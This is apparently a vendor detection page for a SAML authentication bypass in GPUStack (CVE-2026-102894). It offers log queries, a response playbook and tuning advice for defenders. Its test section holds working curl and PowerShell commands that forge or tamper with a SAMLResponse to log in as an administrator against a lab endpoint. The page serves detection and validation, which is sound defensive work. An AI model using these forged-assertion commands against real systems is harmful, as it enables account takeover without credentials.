Detect GPUStack SAML Callback Authentication Bypass (CVE-2026-102894) in CrowdStrike LogScale
Detects exploitation of CVE-2026-102894, an authentication bypass and account takeover in GPUStack (>= 0.7.1, < 2.2.2). The SAML Assertion Consumer Service (ACS) callback endpoint trusts an unverified SAMLResponse: the application fails to validate the XML signature (CWE-347) and does not properly authenticate the assertion source (CWE-294). An attacker can forge or tamper with a SAMLResponse to assert any identity, including an administrator, and obtain an authenticated session without valid credentials. Detection focuses on anomalous POSTs to the SAML ACS callback, successful SSO logins without a preceding authentication-request (unsolicited/IdP-initiated responses), signature-validation anomalies, and privilege changes following SAML login.
MITRE ATT&CK
LogScale Detection Query
// df00tech DF00-ce0e1b0427 · https://df00tech.com/detections/CVE-2026-102894 · licence: https://df00tech.com/detections/licence
#event_simpleName=/.*/ | repo=web
| in(field="url_path", values=["*/saml/callback", "*/saml/acs", "*/auth/saml/callback", "*/sso/saml/acs"])
| http_method="POST"
| status_code < 400
| groupBy([src_ip, url_path], function=[count(as=attempts), min(@timestamp, as=first_seen), max(@timestamp, as=last_seen)])
| sort(last_seen, order=desc) CrowdStrike LogScale/CQL query grouping successful POSTs to GPUStack SAML ACS/callback endpoints by source IP for correlation against trusted IdP addresses.
Data Sources
Required Tables
False Positives & Tuning
- Valid IdP-initiated SSO logins from the configured provider.
- Authorized penetration testing activity.
- Reverse-proxy or WAF request normalization that replays callbacks.
Other platforms for CVE-2026-102894
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Forged unsigned SAMLResponse to GPUStack ACS endpoint
Expected signal: Web/reverse-proxy log shows a POST to /v1/auth/saml/callback carrying a base64 SAMLResponse from a non-IdP source IP; GPUStack app log records a SAML login for [email protected].
- Test 2 Tampered SAMLResponse with modified NameID
Expected signal: Callback POST with a modified assertion is accepted (HTTP 200/302) on versions < 2.2.2; audit log shows the NameID does not match the originating IdP session.
- Test 3 Unsolicited IdP-initiated response with no matching AuthnRequest
Expected signal: Web log records a POST to the ACS endpoint with no preceding AuthnRequest for the session; GPUStack has no matching InResponseTo value stored.
References (8)
- https://github.com/gpustack/gpustack/security/advisories/GHSA-62m9-f875-rqw6
- https://nvd.nist.gov/vuln/detail/CVE-2026-102894
- https://github.com/gpustack/gpustack/pull/5753
- https://github.com/gpustack/gpustack/pull/5923
- https://github.com/gpustack/gpustack/commit/705edbe1b5feec63959306daecd640e1c70eced2
- https://github.com/gpustack/gpustack/commit/adc6d82be34e48390720a1361df616e2ea9d6d45
- https://github.com/gpustack/gpustack/releases/tag/v2.2.2
- https://github.com/advisories/GHSA-62m9-f875-rqw6
Response Playbook
Triage
- Identify the asserted username in the GPUStack application log entry tied to the flagged SAML callback request; determine whether that account is an administrator and whether a privileged session was created.
- Compare the source IP of the POST to the SAML ACS/callback endpoint against the known egress IPs of your configured identity provider. A callback that did not originate from the IdP (or a direct, client-posted SAMLResponse) is a strong indicator of forgery.
- Check whether the SAML login was solicited: confirm there was a corresponding SP-initiated AuthnRequest and matching InResponseTo/RelayState. An unsolicited response with no prior AuthnRequest, or a mismatched InResponseTo, indicates a forged/replayed assertion.
- Determine the running GPUStack version; versions >= 0.7.1 and < 2.2.2 are vulnerable and should be treated as exploitable until patched.
Containment
- Block external access to the GPUStack SAML ACS/callback endpoint at the reverse proxy/WAF, allowing only the identity provider's egress IP ranges until the instance is upgraded to 2.2.2 or later.
- Invalidate all active GPUStack sessions and tokens, and force re-authentication; rotate any API keys or service tokens that may have been minted during the suspect session.
- Upgrade GPUStack to 2.2.2 or later (fix commits 705edbe/adc6d82), which enforces SAML signature verification, as the durable remediation.
Evidence Collection
- Preserve web/reverse-proxy access logs showing the POST to the ACS endpoint, including the raw SAMLResponse body, source IP, user agent, and timestamp.
- Export GPUStack application and audit logs correlating the callback to the asserted identity, session creation, and any subsequent privileged actions (user creation, role changes, token issuance).
Escalation Criteria
- !Escalate to incident response if a SAML callback resulted in an administrator session from an IP outside the IdP egress range, or without a matching AuthnRequest.
- !Escalate if post-login activity shows privilege escalation, new account or API-key creation, model/cluster configuration changes, or access to GPU worker nodes following the suspect SAML session.
Investigation Guide
Forensic Artifacts
- >
Web/reverse-proxy access logs containing the POST to the SAML ACS/callback endpoint and the raw SAMLResponse body. - >
GPUStack application and audit logs recording the asserted identity, session creation, and InResponseTo/RelayState values. - >
Server-side session store entries and issued API tokens correlated to the suspect login.
Tuning Guidance
Baseline the legitimate identity provider egress IP ranges and allow-list them so that detections fire only on callbacks from unexpected sources. If the deployment uses SP-initiated SSO exclusively, treat any unsolicited (no matching AuthnRequest/InResponseTo) SAMLResponse as high-fidelity malicious. Adjust the URL path list to match your actual GPUStack SAML route, and exclude known monitoring/scanner source IPs to reduce noise.
Hunting Queries
Hunts for source IPs posting to GPUStack SAML ACS/callback endpoints with successful responses; cross-reference the IP list against trusted IdP egress ranges to find forged-assertion sources.
// df00tech DF00-ce0e1b0427 · https://df00tech.com/detections/CVE-2026-102894 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("/saml/callback","/saml/acs","/auth/saml/callback","/sso/saml/acs") and csMethod == "POST" | summarize Attempts=count(), Successes=countif(scStatus in ("200","302","303")) by cIP, csUserAgent | where Successes > 0 | order by Successes desc ``` df00tech DF00-ce0e1b0427 · https://df00tech.com/detections/CVE-2026-102894 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/saml/callback" OR uri_path="*/saml/acs" OR uri_path="*/auth/saml/callback") http_method=POST | stats count AS attempts, count(eval(status>=200 AND status<400)) AS successes BY src_ip, http_user_agent | where successes>0 | sort - successes Atomic Red Team Tests
Simulates the authentication bypass by POSTing a crafted, unsigned SAMLResponse asserting an admin identity to the vulnerable SAML callback endpoint in a lab GPUStack instance.
Command
RESP=$(printf '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Subject><saml:NameID>[email protected]</saml:NameID></saml:Subject></saml:Assertion></samlp:Response>' | base64 -w0); curl -sk -X POST "https://gpustack.lab.local/v1/auth/saml/callback" -d "SAMLResponse=${RESP}&RelayState=/" -c /tmp/gpustack_saml_cookies.txt -o /tmp/gpustack_saml_resp.txt Cleanup
rm -f /tmp/gpustack_saml_cookies.txt /tmp/gpustack_saml_resp.txt Expected Telemetry
Web/reverse-proxy log shows a POST to /v1/auth/saml/callback carrying a base64 SAMLResponse from a non-IdP source IP; GPUStack app log records a SAML login for [email protected].
Expected Detection
The KQL/SPL callback detections fire on the successful POST from an unexpected source IP, and the hunting query lists the test source IP with a successful SAML callback.
Takes a captured valid SAMLResponse, modifies the NameID to an administrator, and replays it to the ACS endpoint to confirm signature verification is not enforced on the vulnerable version.
Command
ORIG=$(cat /tmp/valid_saml_b64.txt 2>/dev/null || echo 'PHNhbWw+'); TAMPERED=$(echo "$ORIG" | base64 -d 2>/dev/null | sed 's#<saml:NameID>[^<]*</saml:NameID>#<saml:NameID>[email protected]</saml:NameID>#' | base64 -w0); curl -sk -X POST "https://gpustack.lab.local/v1/auth/saml/callback" -d "SAMLResponse=${TAMPERED}&RelayState=/" -o /tmp/gpustack_tamper_resp.txt Cleanup
rm -f /tmp/gpustack_tamper_resp.txt Expected Telemetry
Callback POST with a modified assertion is accepted (HTTP 200/302) on versions < 2.2.2; audit log shows the NameID does not match the originating IdP session.
Expected Detection
Detection flags the successful SAML callback whose asserted identity is privileged and whose source IP is not a trusted IdP egress address.
Sends an unsolicited SAMLResponse (no prior SP-initiated AuthnRequest, no valid InResponseTo) to the ACS endpoint, emulating an attacker-forged assertion against an SP-initiated-only configuration.
Command
$resp = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Subject><saml:NameID>[email protected]</saml:NameID></saml:Subject></saml:Assertion></samlp:Response>')); Invoke-WebRequest -Uri 'https://gpustack.lab.local/v1/auth/saml/callback' -Method POST -Body @{SAMLResponse=$resp; RelayState='/'} -SkipCertificateCheck -OutFile $env:TEMP\gpustack_saml.txt Cleanup
Remove-Item $env:TEMP\gpustack_saml.txt -ErrorAction SilentlyContinue Expected Telemetry
Web log records a POST to the ACS endpoint with no preceding AuthnRequest for the session; GPUStack has no matching InResponseTo value stored.
Expected Detection
Detection and triage logic flag the unsolicited/InResponseTo-mismatched SAML callback as a forged-assertion authentication bypass attempt.